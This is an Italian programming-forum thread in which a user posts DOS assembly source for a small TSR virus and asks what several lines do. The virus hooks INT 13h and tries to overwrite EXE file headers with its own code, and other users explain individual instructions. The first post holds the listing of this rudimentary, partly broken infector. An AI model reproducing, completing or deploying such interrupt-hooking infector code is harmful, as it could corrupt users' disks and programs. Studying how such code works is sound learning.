PDA

Visualizza la versione completa : [ASM] problema di comprensione del codice


pardoree
06-07-2005, 07:47
Ciao ragazzi, ho trovato il codice di un piccolo virus che va a cambiare la IVT per andare a modificare l'indirizzo del INT13 per l'accesso ai dishi.
OK, la parte del codice in INITIAL mi e' chiara, ma purtropo non riesco a comprendere la parete inserita tra le due righe di asterischi.


ASSUME CS: CodeSegment
CodeSegment SEGMENT PARA
ORG 100H

START:
MAIN PROC NEAR

HEAD: JMP INITIAL


SAVE_INT13:
DD 0 ;inizializzazioni di saved_int13

INT13_SOST: ;INT13H INTERRUPT DI LETTURA E SCRITTURA SU HD
PUSH AX ;AX:OPERAZIONE DA FARE E NUMERO DI SETTORI COINVOLTI
PUSH BX ;BX:OFFSET BUFFER DEL PROGRAMMA
PUSH ES ;ES:SEGMENT DEL BUFFER
CMP AH,02 ;CONTROLLA SE HE LETTURA 02 LETTURA 03 SCRITTURA
JNE no_read

;************************************************* ************************************************** ******************
PUSHF ; salva il registro di FLAG
CALL dword ptr CS:[save_int13] ;chiama il programma vero puntato da CS
;chiama una DW

;in ES viene salvato il segmento del buffer
;in BX l'offset del buffer
CMP word ptr ES:[BX],5A4DH ;controlla che nel valore del buffer ES puntato all offset BX
JNE no_EXE_file ;controlla che i primi 2 byte ZM = 5a4dH

MOV AX, 0301H ;in AH mette 03=scrittura e in AL mette 01=numero settori da
;scrivere (o leggere)

MOV BX, OFFSET HEAD ;
PUSH CS ;in ES mette il valore del nostro segmento CS
POP ES
;************************************************* ************************************************** ******************
NO_READ:
PUSHF ;SALVA IL REGISTRO DI FLAG
CALL dword ptr CS: [save_int13] ;PASSA ALL'EFFETTIVO INDIRIZZO DELL INT13

no_exe_file: ;non effettua alcuna operazione
POP ES
POP BX
POP AX
IRET

INITIAL:

XOR DX, DX ;AZZERA DX pongo praticamente il valore a 0
MOV DS,DX ;l'assegnazione non puo' essere diretta

MOV AX,DS:[13H*4] ;salva in ax l'indirizzo VERO di INT13H
MOV word ptr CS:[save_int13],AX ;
MOV AX, DS:[13H*4+2] ;
MOV word ptr CS:[save_int13+2],AX ;salvo in CS il segment dell'INT13h


CLI ;tra CLI e STI non possono essere chimati altri INTERRUPT
MOV AX,OFFSET INT13_SOST ;in AX salvo l'offset che ha il label int13_sost
MOV word ptr DS:[13H*4],AX ;salvo l'offest in DS che e' riamsto a 0000H
PUSH CS ;metto in AX il valore di CS
POP AX
MOV word ptr DS:[13H*4+2],AX ;copia il valore del segment del mio CS
STI

MOV DX, OFFSET salto_END+1 ;VIENE PASSATA LA FINE DEL PROGRAMMA CHE DEVE RESTARE IN ROM

INT 27H ;SALVARE LE MORIFICHE IN RAM

salto_END:

MAIN ENDP

CodeSegment ENDS
END START




sapreste cortesemente aiutarmi e indicarmi cosa questo programmino facci ain quelle 10 righe? In particola re nelle ultime 3....


vi ringrazio per l'interessamento e l'aiuto

DYNAM!C+
06-07-2005, 13:00
le ultime tre...


MAIN ENDP ; fine funzione chiamata MAIN

CodeSegment ENDS ; fine del segmento "CodeSegment"
END START ; fine listato ASM, entryPoint "START"



il programma un TSR, e mi pare sostitituisce un interrupt.

pardoree
06-07-2005, 13:43
intendevo le ultime tre riche di quelle comprese tra gli asterischi....

I'mtheleader
06-07-2005, 13:58
credo tu intenda queste riga qua:




MOV BX, OFFSET HEAD
PUSH CS
POP ES



la prima riga non fa altro che mettere in bx l'indirizzo dell'etichetta HEAD... HEAD un etichetta ed solo un riferimento quindi in bx sar presente l'indirizzo dell'istruzione :

JMP INITIAL

_________________________________________________

per quanto riguarda le ultime due righe:

in assembly non possibile spostare direttamente il valore di cs in es con una mov..

quindi 'mov es,cs' non si pu fare...

Per questo si usa una push e un pop...

Con push cs vado a mettere nello stack il valore di cs...

e con pop es vado a mettere in es il valore che estraggo dallo stack che non altro che il valore di cs inserito prima...

pardoree
06-07-2005, 14:12
ok, passo passo ho capito cosa servono queste istruzioni, ma purtroppo non riesco a capire a cosa servano nella visione complessiva del programma.
In sostanza salvo tutti i registri che avevo avuto in ingresso precedentemente con la chiamata all INT23h, cioe' AX, BX,ES ma ora non riesco a capire a quale scopo vado ad assgnare quei nuovi valori ai registri se poi non faccio nessuna chiamata ad interrupt per alcunke'


spero di essere stato decentemente chiaro nel esporre i miei dubbi

I'mtheleader
07-07-2005, 13:31
Non avviene nessuna chiamata ad interrupt..
Per guarda bene.. c' una call che chiama la procedura dell'interrupt...

Loading